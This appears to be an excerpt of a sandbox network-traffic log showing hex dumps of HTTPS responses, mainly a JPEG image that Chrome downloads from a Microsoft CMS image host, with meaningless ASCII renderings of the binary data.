2021-11-25 16:28:57 UTC 4757 IN Data Raw: a3 6f 67 6d 2d d4 96 d1 cb 65 7d cc be 4e e7 31 88 fc b6 e7 7e e0 71 91 c0 7a 4d 4b 47 8f 58 58 a5 d6 b5 58 f4 
c7 b3 fb b0 48 b1 db 45 dd 9a dc 2b 10 c5 b3 cb 37 27 8a 93 55 b3 b3 f1 95 ad b2 0d 29 ae 62 b6 78 e7 b4 b9 82 33 ba 39 
37 90 ad 90 33 eb 9c 9f e9 5c 85 bd ac 57 da 4e a0 6f 75 7d 4a ef 4e d2 b7 ac 0d 6d a7 bc bf 3a ff 00 ac 24 8c ec 20 9e a4 
f2 2b 82 9a 8c e0 b7 52 5b f5 7e 56 34 94 d4 bd f7 b9 b7 a9 3e 97 0b 5b 4f 73 a0 c1 73 17 da 5f ca bb da ea 96 ee 07 cc 
76 8c 2b e4 77 c9 f5 ad 2d 2f 5a b3 d3 f5 09 75 99 16 05 bc 5b 17 b6 65 d3 e4 11 44 d1 b8 f9 b8 61 bb 85 c9 e7 2b 95 e2 
bc cf c4 de 28 d2 bc 25 ff 00 13 49 25 9f 50 97 52 53 6d 63 1a c1 fb d6 5c f3 23 1c 7d d2 ad e9 ce 2b 4b c3 b3 4f ac 5b db 
5c 5c 45 6c 9f b8 32 6a 17 3e 5f d9 95 90 9e 37 
Data Ascii: ogm-e}N1~qzMKGXXXHE+7'U)bx3973\WNou}JNm:$ +R[~V4>[Oss_v+w-/Zu[eDa+(%I%PRSmc\#}+KO[\\El2j
>_7

Timestamp
kBytes
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2021-11-25 16:28:57 UTC 4773 IN Data Raw: 7e 46 2a ba a3 5b 14 46 5e 9c e7 07 8e 57 3d 33 58 fe 24 f1 14 1a 86 9f 63 67 6d a7 d8 d9 f9 0a 5a 4b 9b 65 7f 
3e e0 9f f9 e8 ec 49 6f a0 c0 ae ba 78 7c 2d 79 29 f2 f3 35 b3 be ab f1 b7 ca c6 1e de 6b 48 bd 19 df f8 b5 e6 bb f0 db 6a 
16 7a 47 db ac 2d ad 25 b6 6d 66 d2 d3 c8 f9 37 0d ac 57 1f 2e 1b 8d dd 7e 6a e8 3e 1b e9 b3 eb da d6 99 24 b7 d0 59 dc 
45 a5 a5 ed 9c f2 40 25 82 47 50 91 79 52 a3 73 b7 66 e0 71 cf a5 79 16 85 f1 03 58 d0 74 3d 5f 48 b3 d4 e7 b5 d3 75 68 
0d a5 dc 0a db 91 90 90 4f 1d b3 8e 71 5e a5 f1 33 e2 46 8f f1 9b c6 56 7a c5 a6 9b 63 e0 99 65 b2 4b 6b e5 d2 6d bc a8 
16 64 de 23 93 e5 3f 36 e1 b4 33 1c 56 b2 c2 cb 91 c2 2f 4d 7d 75 f2 66 94 64 a3 a9 8b e3 f9 35 7f 09 78 cb 53 b8 79 f4 d9 
f5 29 2e fc f7 5d 1d 7c 8b 65 53 f3 60 2b 00 dd 
Data Ascii: ~F*[F^W=3X$cgmZKe>Iox|-y)5kHjzG-%mf7W.~j>$YE@%GPyRsfqyXt=_HuhOq^3FVzceKkmd#?63
V/M}ufd5xSy).]|eS`+

2021-11-25 16:28:57 UTC 4789 IN Data Raw: dd 3d cd dc 76 91 c9 1e cd d6 ae f9 d9 22 af 18 4e d9 ef 5b 1a b7 8e 74 3d 43 c3 fe 0e 7f 0f de 5b 5b 6a 8b 73 
25 a6 a1 6d e4 6e 58 e1 30 7d ec 30 da d9 63 c7 71 5c ed ab 43 7d 62 8f 2b 49 22 ac 81 a7 69 e4 0e de 5f 60 de 98 ed 51 
8b c1 d6 c1 c9 7b 54 ef e4 7b 58 3c 55 3c 4d 17 24 97 33 be e7 3d 6d 72 9e 05 f1 14 fe 13 9e f9 6f b4 d9 ad 60 9e db 54 
bd 8b 69 8c 85 cc b1 65 78 da 0e 47 7e 45 6b 6a be 2e fb 1d e4 f6 de 1f 68 ee 56 35 1f f1 30 68 ca 23 29 1c 6d 53 df 3d 
0d 62 7c 46 d5 34 cd 6f 4f b3 b6 b7 58 d9 f4 c9 dd 62 92 0f 95 76 b1 f9 c1 cf de c9 c5 67 78 7d 67 d6 fc 2f 9d 4f c5 56 3a 
66 9b 06 a1 25 b5 a5 8c d1 97 b9 f3 19 81 90 22 60 2e 47 5f 99 80 aa 84 21 2f 7e aa 69 fd e6 33 95 4a 11 f6 74 e4 9f 9d 
cd dd 37 c7 5a fe 93 71 a7 a6 a1 ab db 7d 8e e6 e5 
Data Ascii: =v"N[t=C[[js%mnX0}0cq\C}b+I"i_`Q{T{X<U<M$3=mro`TiexG~Ekj.hV50h#)mS=b|F4oOXbvgx}g/OV:f%"`
.G_!/~i3Jt7Zq}

2021-11-25 16:28:57 UTC 4797 IN Data Raw: cf f5 ef 53 2f cf 0e 7e 5f f6 5b fc 71 de 99 1c 81 f9 1f 36 ef 95 bf bb ff 00 d6 a5 e2 18 d4 0f bc bf 2f cc c2 aa 4f ec
b2 6e ef 67 b8 6d 2b 0e 7e f6 e6 f2 d6 84 84 2e e2 9f 33 2e 57 e6 ff 00 eb 53 91 d1 db 7b af cd b7 e5 fc 3a d0 b9 dd cf ef 
77 61 be 6f e2 ff 00 eb 52 e6 ec 4c 9b b6 83 51 53 73 13 b5 95 7f bc bf c3 eb f9 d3 92 30 ea c7 fb cc 77 7c be 9d 3e b4 d9 
30 8d c7 cc 9f 79 55 be b5 13 48 51 b7 9d db b9 5f 95 b6 f6 fd 69 2f 52 a3 1f 22 48 f1 bb 7e d5 56 ff 00 d9 7d 68 f3 24 49 b
3 22 fc bb be 5f ef 7f 9f 4a 46 93 ed 0c ae 8b f3 b3 7d d5 ff 00 0a 6b 30 55 d8 65 56 f9 77 7d dd db 7b 7a d3 e6 4b 5b 0e 
cc 48 14 b6 d0 7e 56 ff 00 c7 6a 4f 38 c6 ac 06 d6 f9 b7 7f c0 71 db d2 91 ff 00 b9 b7 6b 6d f7 f4 eb 9a 8d 4b 27 ef 23 56 fe
ea b7 e7 42 f7 9e a1 1d 56 
Data Ascii: S/~_[q6/Ongm+~.3.WS{:waoRLQSs0w|>0yUHQ_i/R"H~V}h$I"_JF}k0UeVw}{zK[H~VjO8qkmK'#VBV

2021-11-25 16:28:57 UTC 4813 IN Data Raw: b5 2f 89 bc 45 ad db 69 eb a8 da 5b 69 f7 d7 52 b0 f2 db 52 b6 3f 6f b3 78 c8 dc b1 a2 e3 6b 8e 8c d8 e9 eb 5b 
3a 6f 8a b4 0f ed cd 5f 48 8f c3 93 e9 5a 95 e3 6f fb 34 8d fb a8 e4 54 0a 58 46 40 31 31 0b b7 67 20 75 aa b3 78 82 f6 e3 
c4 17 da ee 91 ab c9 fd a3 12 c6 89 77 77 39 59 e1 54 4d 86 38 c7 d3 bf 5c 7a d6 f5 54 a3 55 54 94 12 d9 ff 00 c0 d2 ff 00 
7f fc 31 2d 2a 70 e5 5b f5 39 9b af 1f 78 df 50 69 fc 49 e2 9b c5 55 b8 92 29 25 8e ed 77 b5 d6 13 cb 8e 46 5f f9 66 8a b8 
03 1c 66 bd 1b c0 be 2d bd d5 5a f2 db fb 56 f1 67 82 38 63 8a fa 75 8e e9 2c ed c2 6e 3b a2 5d bb cf 6e bc 0e 31 5c 8d 
e0 d5 7e 21 fd 86 f2 e2 fa 3b 9f 22 3d d2 35 cd c8 8a e6 45 53 ba 31 f3 67 2a 1f 69 61 8e 95 d3 78 b3 56 3e 21 d2 62 d3 af 
2f bc ad 0e 2b 94 69 17 4f 82 1b 59 6e 37 
Data Ascii: /Ei[iRR?oxk[:o_HZo4TXF@11g uxww9YTM8\zTUT1-*p[9xPiIU)%wF_ff-ZVg8cu,n;]n1\~!;"=5ES1g*iaxV
>!b/+iOYn7

2021-11-25 16:28:57 UTC 4829 IN Data Raw: b4 4e 8a c3 6e 7b 80 54 93 4b a6 bc f2 48 d7 81 a4 55 f3 07 cc ac 7e 66 3c 9e ff 00 37 e3 56 17 56 b8 d6 36 da 
5e c1 04 f6 70 4b bd 6d b5 05 2c cc b9 f6 3d 7b 8a 72 a9 0a aa da 5f ee 36 a6 a2 d5 e4 c8 ac 3c 2a 2d 35 8f 3e cf 5a d3 
6e 62 59 03 35 8c 0b b1 f7 91 f3 16 07 9e 3a 75 ab 9e 20 d1 45 e5 bb 7d 9e 26 5b 85 5d db 97 2d f9 81 cd 33 49 b1 d4 1e 
49 e7 d4 ec 74 bb 68 99 b6 da 4f a7 c0 51 fc bd df c4 4e 4b 1f ad 75 90 ae 87 e1 fb 56 82 4f ed 99 ef 25 52 d3 ff 00 a7 a4 
5e 62 e4 61 72 80 e0 7d 39 f7 a8 f6 2e a7 c3 2b fe 5f a1 d3 ec a3 38 ff 00 29 e4 d6 ba 50 b5 f3 6d c5 cc 8c 9b be ea a9 65 
6f ef 75 e9 5b 9e 06 f0 99 d4 15 ae 07 9e b2 ee dd 14 71 c0 3f 76 bf c6 5b f8 89 35 d1 e8 be 18 9e ff 00 56 83 51 96 c5 6e 
a2 93 cc 8e 35 9d b7 f9 7e 84 e7 fa f5 ad 8f 
Data Ascii: Nn{TKHU~f<7VV6^pKm,={r_6<*-5>ZnbY5:u E}&[]-3IIthOQNKuVO%R^bar}9.+_8)Pmeou[q?v[5VQn5~

2021-11-25 16:28:57 UTC 4837 IN Data Raw: 70 7a 74 aa 7a de 89 a8 78 77 5c 69 1e 5b b9 6d e4 91 27 89 a3 62 d2 b2 0f ba 37 7f 9c 0a 28 ad 2e e1 55 b5 
d5 d8 ea a4 ae da ec 76 76 7e 2d 4d 62 c6 0d 2a de e6 ee 75 59 0b 49 1d 8c 63 6c 2d 81 fd ec 0c 83 d7 1c d7 37 ac 6b 96 
f7 37 5f d9 8f a9 ea 97 37 13 b2 2b 79 92 6e 82 4d a4 14 8c e4 65 42 8f 98 b7 7a 28 a2 38 6a 71 ad 28 ae 8a ff 00 33 86 
ab e6 aa a2 49 a8 2d e5 84 30 5c ea b2 b5 e3 34 81 a0 92 39 24 89 96 43 d2 46 4f bc 73 df d6 ab b5 d6 97 7e db 20 d5 6e 
d5 96 e4 34 0b f6 b4 8a 06 76 18 f3 3c bf bd 9c f1 8f 4a 28 a2 84 7d ad 3e 66 c9 71 4d 73 1d 4f 86 f4 df 0e 35 d4 56 71 59 
c1 f6 8d 56 43 14 f7 b2 6f 77 5d 89 87 c6 3f d5 82 fc fd 7b d7 4d a7 eb 13 e9 7f 0e 6d ad 7c 3d a8 c9 a6 69 d7 d2 3c 0b f6 
b9 36 79 d6 e9 d2 63 80 44 79 c6 4f 5c 8a 28 af 27 
Data Ascii: pztzxw\i[m'b7(.Uvv~-Mb*uYIcl-7k7_7+ynMeBz(8jq(3I-0\49$CFOs~ n4v<J(}>fqMsO5VqYVCow]?{Mm|=
i<6ycDyO\('

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

69 192.168.2.4 49878 80.67.82.235 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 16:29:10 UTC 4841 OUT GET /cms/api/am/imageFileData/RE4FlaY?ver=38e7 HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 
Safari/537.36 Edge/17.17134
Host: img-prod-cms-rt-microsoft-com.akamaized.net
Connection: Keep-Alive

2021-11-25 16:29:10 UTC 4841 IN HTTP/1.1 200 OK
Last-Modified: Wed, 24 Nov 2021 01:55:48 GMT
Access-Control-Allow-Origin: *
X-Datacenter: northeu
X-ActivityId: c6aa7972-2c6a-4e47-80a1-2708d9131ab0
Timing-Allow-Origin: *
X-Frame-Options: deny
X-ResizerVersion: 1.0
Content-Type: image/jpeg
Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RE4FlaY?ver=38e7
X-Source-Length: 431930
Content-Length: 431930
Cache-Control: public, max-age=293170
Expires: Mon, 29 Nov 2021 01:55:20 GMT
Date: Thu, 25 Nov 2021 16:29:10 GMT
Connection: close
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2021-11-25 16:29:10 UTC 4842 IN Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 
03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 
15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 14 14 
14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 
14 14 14 ff c0 00 11 08 04 38 07 80 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 
00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 
00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 
Data Ascii: JFIF``CC8"}!1AQa"q2

2021-11-25 16:29:10 UTC 4857 IN Data Raw: bd 87 62 03 6e 1b a8 a5 f2 f1 c0 ab 01 47 7a 4d 94 73 0b 94 85 50 d2 f9 24 f3 52 ec c5 38 0c d1 71 d8 84 47 
8a 71 5a 95 97 34 94 ae 3b 10 f9 74 63 15 35 37 6d 17 15 86 03 e9 4b ba 96 93 02 98 ac 36 93 9a 79 02 80 bb 7a 50 04 
7c fa 53 be 94 ed be 94 7f 15 30 1b 4d 2b 4e a2 80 23 2b 9e 29 0a f6 a7 9f 7a 4c e3 ad 51 24 65 33 fc 34 c6 5c d4 8e df 
ed 54 65 bd 4d 52 27 42 26 5a 8d 85 4f 9e e6 9b c1 ab 4c cd a2 02 0d 31 85 58 60 3a 54 4c a2 ad 32 5a 2b 91 9a 4f bd 53 
32 83 4b e5 67 a0 ab b9 16 20 f2 b3 4e 10 83 53 aa 62 9e a8 69 73 0f 94 ae 2d c7 a5 06 dc 6e ab 41 71 cd 18 c7 38 a9 e6 
2b 95 15 45 b8 a9 04 28 39 c5 48 41 a4 3c 7a d1 76 c2 c9 0c 68 97 d2 9b e5 00 d9 c5 49 86 3d a8 68 dc f4 a2 e2 22 2a 36 
f1 4d 09 f4 a9 85 b9 34 e1 6a 69 dd 0b 95 95 c2 8e f4 d6 5f 
Data Ascii: bnGzMsP$R8qGqZ4;tc57mK6yzP|S0M+N#+)zLQ$e34\TeMR'B&ZOL1X`:TL2Z+OS2Kg NSbis-nAq8
+E(9HA<zvhI=h"*6M4ji_

2021-11-25 16:29:10 UTC 4873 IN Data Raw: fb d4 00 9b 68 db 4b b8 7a d2 e4 50 03 76 fa 53 a8 04 52 f1 40 09 47 4a 5e 29 1b ad 03 b8 51 45 14 0c 00 a7 
52 7d da 5e 6a 00 17 d7 f1 a7 12 5b 83 49 90 68 e0 d0 03 a8 03 e5 a0 11 4e e2 93 28 40 29 d4 99 0b de 94 11 48 60 38 
a5 dd 49 91 dc d2 79 88 3a ba fe 74 00 e1 c7 4a 5e 6a 16 bb 80 70 64 5f ce 9e b2 23 ae 55 c1 1e c6 8b 31 5d 0b 4e e6 8e 
69 37 50 30 db 46 31 cd 00 8a 5c 83 d2 80 38 5f 30 52 ef 1f ef 56 3f f6 a4 67 8d f4 d1 a8 a7 f7 f8 af a7 f6 4c f9 af 6a 8d 91 
20 a5 f3 71 58 c7 52 4d df 7f f1 a7 0d 41 5b f8 f1 f5 a5 ec 99 5e d5 1b 1e 68 a3 ce 1d 31 58 e6 fd 3f be 28 1a 8c 67 9d f4 
7b 26 2f 6a 6c 79 a2 97 cc 1b 6b 18 ea 28 5b ef d0 da 8a 2a e4 c9 47 b2 61 ed 91 b2 b3 03 ce 29 7c cf 6a c3 fe d3 41 cf 
99 fa 53 bf b4 d0 ff 00 cb 4a 3d 8b 0f 6c 8d 9f 30 
Data Ascii: hKzPvSR@GJ^)QER}^j[IhN(@)H`8Iy:tJ^jpd_#U1]Ni7P0F1\8_0RV?gLj qXRMA[^h1X?(g{&/jlyk([*Ga)|jASJ=l0

2021-11-25 16:29:10 UTC 4876 IN Data Raw: f6 68 39 d9 ae 2f 07 ad 2f db 07 ad 65 64 7f 7c fe 54 6e 1e b4 bd 9a 2b 9d 9a df 6c 07 bd 2f db 40 ea 6b 28 30 
1f c7 48 5d 4f 1b cd 4f b3 41 ce cd 53 78 37 75 a5 fb 5f 7c d6 4f 98 9f df 6a 7a b4 7d dc d2 e4 45 73 b3 50 5e 0f 5a 70 bb 
15 94 65 8d 7b fe 66 9c 25 8f af 38 a5 c8 87 cc cd 4f b6 0a 43 78 3d 6b 35 a4 8c 2e 49 3f 8d 53 bc d5 ed 2c 93 7b c9 d4 
e0 01 c9 34 d5 2b e8 90 9c ed ab 37 96 ec 7a d3 d6 ec 7a d7 25 07 8a ac 64 7c 1d d1 8f 53 5a e9 7d 6e d1 ef 12 2e cc 03 
9d c3 a1 e9 4e 54 5c 77 44 c6 a2 96 cc d7 fb 58 f5 a4 6b b1 eb 59 7f 68 8b 76 0b 8d de 99 19 a4 7b a8 a3 6c 33 81 f5 22 
a7 d9 a2 f9 d9 a7 f6 c1 eb 4b f6 c1 fd ea cd fb 42 05 ce 38 a4 37 28 78 c5 1e cf c8 9e 76 69 7d b0 77 34 86 f4 56 6f da 93 
a8 14 9f 6a 4f 4a 7e cf c8 39 fc cd 13 78 3d 69 
Data Ascii: h9//ed|Tn+l/@k(0H]OOASx7u_|Ojz}EsP^Zpe{f%8OCx=k5.I?S,{4+7zz%d|SZ}n.NT\wDXkYhv{l3"KB87(xv
i}w4VojOJ~9x=i

2021-11-25 16:29:10 UTC 4892 IN Data Raw: 34 73 0f f7 55 47 f2 15 cf a5 f7 84 59 40 4b cb cc e3 a3 62 a0 bc d7 74 7b 44 06 da 31 70 3f e9 ad 78 b3 a5 1a 
ae dc 8f ee b1 e8 c6 a4 a9 eb ce bf 33 b5 87 c5 7a 7c 84 28 8e ed c9 ec 14 1a e8 f4 d3 69 7a a1 c5 9b 8f fa eb 10 06 bc 7e
0f 1f 3d bb e6 0b 4b 48 bd 1b 69 ab 9f f0 b4 b5 b6 61 89 e3 51 ec b5 c9 57 2e ab 2f 81 5b e6 6f 4f 1f 08 bb c9 df e4 77 3a 
df c2 4d 17 57 98 cf 6b e7 69 93 3b 16 73 6e 78 62 4e 4f 07 a7 e1 59 8d f0 52 0f 3b 29 ab dd c7 1e 31 80 01 24 fe 3c 63 f0 
ac 1b 1f 88 da cc 93 00 f7 39 04 f4 00 66 bd 17 49 d7 e4 ba b6 8e 47 ce 4f 5e 73 5c 55 a9 e3 30 b1 d6 7a 1d 54 71 58 3c 
44 da e4 d4 ca d1 3e 17 db 68 f7 4f 2c 97 73 6a 09 b0 a0 8a e3 6e 14 1f 42 06 6a fd c7 82 34 f3 19 22 29 51 bf e9 9c 84 
7e 86 b6 e6 be f2 61 32 93 e6 60 67 00 63 f5 
Data Ascii: 4sUGY@Kbt{D1p?x3z|(iz~=KHiaQW./[oOw:MWki;snxbNOYR;)1$<c9fIGO^s\U0zTqX<D>hO,sjnBj4")Q~a2`gc

2021-11-25 16:29:10 UTC 4908 IN Data Raw: 8a bc 5d cf 35 f9 46 e2 c3 34 e0 d1 9e 0f 5f ad 75 7a 8f 81 66 b5 4c c4 e2 5f 71 5c bd ed 84 96 cc 43 8e 41 c7 
e3 5e 8d 3a b4 eb 7c 2c f3 6a 3a 94 3e 35 62 33 b3 bb 30 a8 df 60 5f f5 98 3e e6 ab be e1 c0 35 19 57 5c 9f 5a e9 e4 f3 
39 fe b5 e4 4e ec 36 f1 28 27 d8 d5 49 7d 3a fb 66 82 c8 ad 87 8c 9f a7 6a 4c 44 dd 06 2b 48 c6 c6 52 c5 47 aa 23 66 c7 
a8 a6 65 8f 20 f7 ab 1e 4a 49 82 4e 2a ec 1e 1f bc ba d8 60 8c ca 08 e3 05 49 fc b3 4d ca 31 dd d8 23 59 54 7e e9 9a 85 
83 72 3f 1a b7 13 b7 7a bc 7c 37 a8 c3 cb d9 c9 8e bf 77 3f ca a3 16 cc 8d 86 88 8e dd 08 ac 5d 48 cb 67 73 ae 2f 97 7d 
02 36 6f ef f3 f4 ab 08 ce ab c9 a6 26 03 60 82 2a 55 54 dd c4 98 fa 8a c1 9d 91 92 e8 c7 07 60 bd 71 e9 48 64 71 83 9a 
08 3b 78 70 46 7d 69 8e 4a f2 48 e6 a0 d7 9b 41 ad 31 
Data Ascii: ]5F4_uzfL_q\CA^:|,j:>5b30`_>5W\Z9N6('I}:fjLD+HRG#fe JIN*`IM1#YT~r?z|7w?]Hgs/}6o&`*UT`qHdq;xpF}iJHA1

2021-11-25 16:29:10 UTC 4915 IN Data Raw: 23 d0 53 8d ac eb ff 00 2c a4 1d fe e9 ff 00 0a 87 22 fd ba 5b 95 e2 79 c7 00 91 ec 2a c4 72 ce 17 0d 1a be 7f 
bc a3 3f 9d 0b 6b 72 ac 33 11 19 e9 b4 1c d5 d8 f4 ab a7 c0 58 a4 27 dd 49 c5 67 27 1d d9 97 d6 5f d9 44 50 d9 97 5c 18 
14 12 7a f4 eb e9 5a f0 f8 46 39 63 c9 da 18 8e 08 61 fd 6a 28 f4 6b ee 07 94 d8 fa 62 b5 2c bc 3b a8 9e 76 14 fe b5 c5 52 
a7 55 3b 0e 9e 22 a5 ec e0 d9 ca dc f8 6e ea 37 20 5b 17 1c 8c 83 9c e2 a9 b6 8b 76 b8 c5 a3 27 d5 2b d5 2c 34 0b d0 a4 
48 e4 7a 63 83 fd 6b 47 fb 21 a3 40 19 c9 3d f2 33 fd 2b 17 98 f2 e8 ec ce 98 e1 2b 54 d6 37 3c 78 69 37 5c 1f b3 b0 03 fd 
9c 54 83 47 9f bc 07 1f 4a f5 df ec f4 4c 06 ce 4f 3c c4 7f c2 9c b6 2a 58 05 80 39 cf fc f3 ff 00 eb 56 6f 33 5d 8e d8 65 b8 
9b 5f 95 9e 44 34 99 3b c4 41 fa 1a b1 1e 
Data Ascii: #S,"[y*r?kr3X'Ig'_DP\zZF9caj(kb,;vRU;"n7 [v'+,4HzckG!@=3++T7<xi7\TGJLO<*X9Vo3]e_D4;A

2021-11-25 16:29:10 UTC 4931 IN Data Raw: d7 8a e9 bc 41 f0 be cb c4 d1 db 45 7f ad b4 53 31 63 2d b4 6c 73 3c 60 6e 19 f5 19 e0 91 8c 01 57 1b c1 b3 
69 eb e5 c1 2d b5 a4 01 93 cd 95 48 dc d1 8c 70 79 e0 0e a3 b9 ae a9 62 d2 8a e5 96 bd 9e df f0 4c 9e 4f 88 84 b9 b9 3e 
e7 fd 58 f3 4d 02 eb c4 56 37 52 e9 da 96 a6 b2 7d a6 67 fe cf 6b 78 8a a1 5d c5 88 39 e0 02 06 48 3c 8c 9a da 97 c3 90 
b5 bc 89 75 a7 98 a3 9e 26 56 d3 6c e6 1e 5c ac 39 39 6e d8 ea 1b f0 ae eb 47 d1 64 b2 b5 07 cc 5b b9 11 a5 52 16 22 cc 
cc cd 94 38 e4 63 6e 32 47 e9 44 ba 76 9f 65 a8 38 96 f6 5d d1 b2 fd a0 49 8f 93 77 01 54 0e 1b 2d 91 93 d0 71 53 2c 5c 
aa 49 b8 2f bb fe 07 c8 df fb 1a bc a0 a5 51 fd fd 0e 0b c1 ba 9d a5 c6 8b 73 a2 3d 84 90 24 20 ec b5 5d ca a5 73 c1 f3 0f 
af 7c 55 bb 0f 89 56 52 d9 dc 59 04 bc 79 ac 94 c7 2b 
Data Ascii: AES1c-ls<`nWi-HpybLO>XMV7R}gkx]9H<u&Vl\99nGd[R"8cn2GDve8]IwT-qS,\I/Qs=$ ]s|UVRYy+

2021-11-25 16:29:10 UTC 4947 IN Data Raw: 1f b1 d3 c3 a4 b4 33 ad b4 98 ad 57 64 04 a0 c0 18 c0 3c 7e 35 60 c2 51 b2 79 c7 41 57 77 21 e0 53 48 1e 95 
e7 b9 b9 6e 6d ec 92 2a 98 d9 fb 11 4a 91 6d eb 53 6e f4 e0 53 24 75 0b 86 23 35 3a 95 cb 14 34 a8 eb 9e 3d a8 f3 17 a1 
26 a3 69 e2 1c 67 f5 a6 ac e9 b4 95 eb 45 98 5e 28 97 20 26 17 a5 2a 96 ed c5 40 d2 f9 9d f1 f4 a5 8e 51 1f 04 b1 fa d5 
58 8e 62 66 62 57 d6 99 9e e4 f1 4d 69 c1 5c 60 8f eb 4c 17 11 1e 33 86 f4 a5 60 72 4c 69 31 a3 e7 0c 4d 32 e2 37 95 e3 
64 6c 2e 7e 61 ea 2a 61 32 aa e7 1c d3 3e d5 86 c9 eb fd d1 4f 52 94 92 d0 b5 1a aa 2e 11 40 1f 4a bd 6e 30 99 3c d5 1b 
77 79 9c 62 3c 28 3d 6b 55 3e ee 00 a8 66 f4 df 54 46 c0 76 02 a1 7f 9a ac c8 40 5a ab 34 cb 10 c8 19 a9 b1 b3 9a 5b 94 
67 2c 8c 70 01 35 93 af 5b cf 75 a6 ca 2d 79 98 0c 85 ce 
Data Ascii: 3Wd<~5`QyAWw!SHnm*JmSnS$u#5:4=&igE^( &*@QXbfbWMi\`L3`rLi1M27dl.~a*a2>OR.@Jn0<wyb<(=kU>fT
Fv@Z4[g,p5[u-y

2021-11-25 16:29:10 UTC 4955 IN Data Raw: 81 c9 38 04 28 eb b8 77 26 b3 d6 e0 05 c0 ce 7d 06 31 4e fb 43 ca e3 2f 8f 60 29 38 16 aa bd 0d 7f b7 9f 31 8b 
9f 2f 18 e0 1c f2 7d aa d4 97 c1 f0 c4 6f 56 c1 3e 6f dd cf ae 3b fb 0a c3 49 95 17 05 57 fd e3 cb 0f a7 b9 a9 0d e2 96 25 
8e 08 e8 4e 49 e9 59 3a 67 6c 71 2e 2a cd 9a cd 73 e6 3a 14 7d 88 30 32 78 18 eb d0 7b d5 b5 bd 58 d1 64 57 39 ce 33 
8c 0e 7b 57 3a d7 2f 23 02 df 75 07 4e 80 83 d7 af 4a 70 bc 01 50 ef 6c 8c e0 8f 7f 73 52 e8 dc d2 38 ce 56 d9 d1 49 a9 
96 e5 13 62 f2 18 b0 c0 a1 6f 84 91 e5 5f 0a 30 06 78 c8 fa 7a 57 3b 1d eb 06 1b a4 20 74 39 e4 9a 7f da 99 f2 c1 00 db 
9c a9 04 80 3e 83 fa d4 fb 15 b1 d3 0c 7b 96 b7 37 cd e7 9d 92 09 93 00 e5 40 38 fc e9 0e a4 0a 02 09 45 27 77 c8 79 c5 
60 4b 78 4c 99 69 37 a0 5c 01 bb 0a 3d 78 15 0c 97 8c 
Data Ascii: 8(w&}1NC/`)81/}oV>o;IW%NIY:glq.*s:}02x{XdW93{W:/#uNJpPlsR8VIbo_0xzW; t9>{7@8E'wy`KxLi7\=x

Timestamp
kBytes
transferred Direction Data
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2021-11-25 16:29:10 UTC 4971 IN Data Raw: e3 3c d2 8d 42 54 5d 82 40 00 f4 ac bf 34 86 c1 c9 3e f4 9b c8 eb f9 7a 51 64 1e c6 3d 4d 07 bd 2f d7 93 ce 09 
a8 cc 83 82 4f fc 07 ad 55 12 63 a7 73 da 93 79 2c 71 4d 15 ec d2 d8 b4 d2 67 be 3f 4c 8a 4d c3 76 06 4f 1d 45 57 12 7c 
b9 f4 a5 f3 3d 5b 19 ed 56 1c a4 de 60 e0 93 d7 8a 37 13 cf 6f a5 44 5c 05 c8 ef cd 2f 98 5f 3d b3 cf 34 d0 72 92 2b 6e 7e 
31 cd 38 b0 db cf 3d bd aa 01 26 e6 ee 41 14 73 dc e0 0e 95 41 ca 4f b9 46 31 fa 52 87 f9 8e 39 3e 95 08 03 6f be 69 56 
4f 9b e5 e7 e9 d3 f1 a0 5c a4 e6 6c 73 de 95 5f 8c 73 cf 39 3c 54 01 80 e9 c9 3e 9c e3 f1 a0 b1 c6 7f 43 da 99 3c a5 a0 c0 
fe 3d e9 c8 4e ee 49 27 a1 fa 55 5f 37 df 81 4e 12 64 e0 f0 0f 61 fd 68 23 94 b5 9c 71 d5 87 4a 53 26 14 67 85 ce 7d 81 ef 
8a ad e6 9c 64 7c b8 eb 8f 4f 4a 37 6e 52 3d 
Data Ascii: <BT]@4>zQd=M/OUcsy,qMg?LMvOEW|=[V`7oD\/_=4r+n~18=&AsAOF1R9>oiVO\ls_s9<T>C<=NI'
U_7Ndah#qJS&g}d|OJ7nR=

2021-11-25 16:29:10 UTC 4987 IN Data Raw: 24 8e 79 0a 39 fc 28 17 29 2a 9d b9 c0 01 7b e6 9d e6 6d 70 17 25 c8 fc ea 02 77 60 9e 08 eb ee 29 43 0f ba 
3a 75 1d a9 8b 94 9f 78 f5 e9 db af d6 94 3e 40 c7 ca a7 bf a5 44 09 3c 9c 71 de 97 cc c3 67 ef 8f 41 de 9d c8 e5 26 5c 02 
36 f5 ee 4f f8 d1 bc 73 e9 d0 f6 e7 da a2 24 e0 83 8f 97 91 4d 66 03 e6 1c f4 e2 9a 17 29 65 1c b3 72 7e 5c 63 3f e3 e9 4e 
de 36 82 7a 74 2b 9a ad bf e6 cf 7e 83 d3 e9 4e 47 f9 98 75 f5 a0 4e 24 fb fa af 45 ff 00 3c 53 84 9b 40 39 3c 8c 67 d3 eb 
55 f7 64 03 9d c7 a1 a1 64 f9 77 03 9e c4 d2 e6 27 94 b0 8d 85 cf 45 1d 7b fe 3e b4 a5 b6 f1 db aa 93 d4 1a 83 24 90 18 
